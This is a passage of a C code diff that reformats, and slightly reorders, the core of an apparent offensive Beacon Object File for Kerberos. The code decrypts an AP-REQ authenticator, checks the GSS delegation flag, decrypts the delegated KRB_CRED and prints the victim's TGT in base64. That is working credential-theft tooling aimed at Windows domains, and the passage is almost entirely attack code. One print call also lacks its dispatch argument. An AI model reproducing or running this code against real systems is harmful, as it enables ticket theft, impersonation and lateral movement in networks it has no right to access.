PRINT(dispatch, "[*] Successfully decrypted authenticator\n"); - KERB_AUTHENTICATOR* authenticator; + KERB_AUTHENTICATOR *authenticator; kerbError = KerbUnpackData(module, authenticatorPacked.value, authenticatorPacked.length, KERB_AUTHENTICATOR_PDU, &authenticator); - if (KERB_SUCCESS(kerbError)) { - if (authenticator->bit_mask & checksum_present) { + if (KERB_SUCCESS(kerbError)) + { + if (authenticator->bit_mask & checksum_present) + { // GSS_CHECKSUM_TYPE - if (authenticator->checksum.checksum_type == 0x8003) { - KERB_GSS_CHECKSUM* checksum = - (KERB_GSS_CHECKSUM*)authenticator->checksum.checksum.value; + if (authenticator->checksum.checksum_type == 0x8003) + { + KERB_GSS_CHECKSUM *checksum = + (KERB_GSS_CHECKSUM *)authenticator->checksum.checksum.value; // GSS_C_DELEG_FLAG - if (checksum->GssFlags & 0x01) { - KERB_CRED* cred; + if (checksum->GssFlags & 0x01) + { + KERB_CRED *cred; kerbError = KerbUnpackData(module, checksum->DelegationInfo, checksum->DelegationLength, KERB_CRED_PDU, &cred); - if (KERB_SUCCESS(kerbError)) { + if (KERB_SUCCESS(kerbError)) + { status = KerberosDecrypt(KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART, &encKey, &cred->encrypted_part.cipher_text, &authenticatorPacked); - if (NT_SUCCESS(status)) { + if (NT_SUCCESS(status)) + { cred->encrypted_part.encryption_type = 0; cred->encrypted_part.cipher_text = - *(ASN1octetstring_t*)&authenticatorPacked; + *(ASN1octetstring_t *)&authenticatorPacked; PUCHAR encodedData; ULONG encodedSize; kerbError = KerbPackData(module, cred, KERB_CRED_PDU, &encodedSize, &encodedData); - if (KERB_SUCCESS(kerbError)) { + if (KERB_SUCCESS(kerbError)) + { int b64Len = Base64encode_len(encodedSize); - char* encoded = (char*)MSVCRT$calloc(b64Len, sizeof(char)); - if (encoded != NULL) { + char *encoded = (char *)MSVCRT$calloc(b64Len, sizeof(char)); + if (encoded != NULL) + { Base64encode(encoded, encodedData, encodedSize); PRINT(dispatch, "[+] Successfully extracted TGT: %s\n", encoded); - return; MSVCRT$free(encoded); - } else { + return; + } + else + { PRINT(dispatch, "[!] Could not allocate memory.\n"); } MSVCRT$free(encodedData); - } else { + } + else + { PRINT(dispatch, "[!] Failed to pack plain KRB_CRED: 0x%x\n", kerbError); } - } else { + } + else + { PRINT(dispatch, "[!] Failed to decrypt KRB_CRED: 0x%x\n", status); } KerbFreeData(module, KERB_CRED_PDU, cred); - } else { + } + else + { PRINT(dispatch, "[!] Failed to unpack KRB_CRED\n"); } - } else { + } + else + { PRINT(dispatch, "[!] Missing delegation flag\n"); } - } else { + } + else + { PRINT(dispatch, "[!] Wrong checksum type\n"); } - } else { + } + else + { PRINT(dispatch, "[!] Missing checksum in the authentticator\n"); } KerbFreeData(module, KERB_AUTHENTICATOR_PDU, authenticator); - } else { + } + else + { PRINT("[!] Failed to unpack authenticator: 0x%x\n", kerbError); } MSVCRT$free(&authenticatorPacked); - } else { + } + else + { PRINT(dispatch, "[!] Unable to decrypt authenticator: 0x%x\n", status); } MSVCRT$free(key); - } else { + } + else + { PRINT(dispatch, "[!] Could not obtain the key from cache: 0x%x\n", status); } KerbFreeData(module, KERB_AP_REQUEST_PDU, apRequest); - } else { + } + else + { PRINT(dispatch, "[!] Failed to unpack AP-REQ: 0x%x\n", kerbError); } KRB5_Module_Cleanup(module); - } else { + } + else + { PRINT(dispatch, "[!] Could not create ASN.1 module\n"); } MSVCRT$free(apreq); - } else { + } + else + { PRINT(dispatch, "[!] Kerberos OID not found\n"); } - } else { + } + else + { PRINT(dispatch, "[!] Failed to request AP-REQ: 0x%x\n", status); } } \ No newline at end of file